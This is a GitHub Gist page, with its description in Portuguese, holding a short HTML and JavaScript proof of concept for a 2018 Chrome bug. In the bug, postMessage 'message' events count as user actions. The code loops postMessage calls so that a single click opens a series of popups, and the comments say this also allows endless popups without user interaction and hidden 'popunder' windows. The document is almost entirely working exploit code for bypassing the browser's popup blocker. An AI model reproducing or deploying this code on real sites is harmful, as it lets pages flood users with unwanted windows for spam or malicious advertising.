Skip to content

Instantly share code, notes, and snippets.

@matpratta
Created April 22, 2018 14:30
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save matpratta/d48ba3b5087933f772e16aada9525e8e to your computer and use it in GitHub Desktop.
Save matpratta/d48ba3b5087933f772e16aada9525e8e to your computer and use it in GitHub Desktop.
Exemplo de bug no Chrome, que permite criação de popups infinitos sem interação de usuário.
<!DOCTYPE html>
<html>
<head>
<title>Google Chrome Popup Bypass</title>
<script type="text/javascript">
/**
* Fonte: Custom Chromium Build to Reverse Engineer Pop-Under Trick <https://www.youtube.com/watch?v=y6Uzinz3DRU>
* Por algum motivo, os eventos "message" do Chrome são tratados como ações causadas pelo usuário, o que resulta na possibilidade de se criar popups infinitos, sem qualquer interação do usuário.
* Também possibilita exibir mais de um popup a partir de cliques de mouse e até mesmo a criação de "popunder", um popup que fica abaixo da janela atual.
*/
function pwnd () {
for (var i = 0; i < 10; i++) {
console.log('Chrome got pwnd', i, 'times');
window.postMessage(1, document.location);
}
}
window.addEventListener('message', function (a) {
if (a.data == 1) {
window.open('https://google.com', '_blank', 'width=600,height=400,top=10,left=10,status=0,location=0,toolbar=0,menubar=0,resizable=0,scrollbars=1');
}
});
</script>
</head>
<body>
<a href="#" onclick="pwnd()">test</a>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment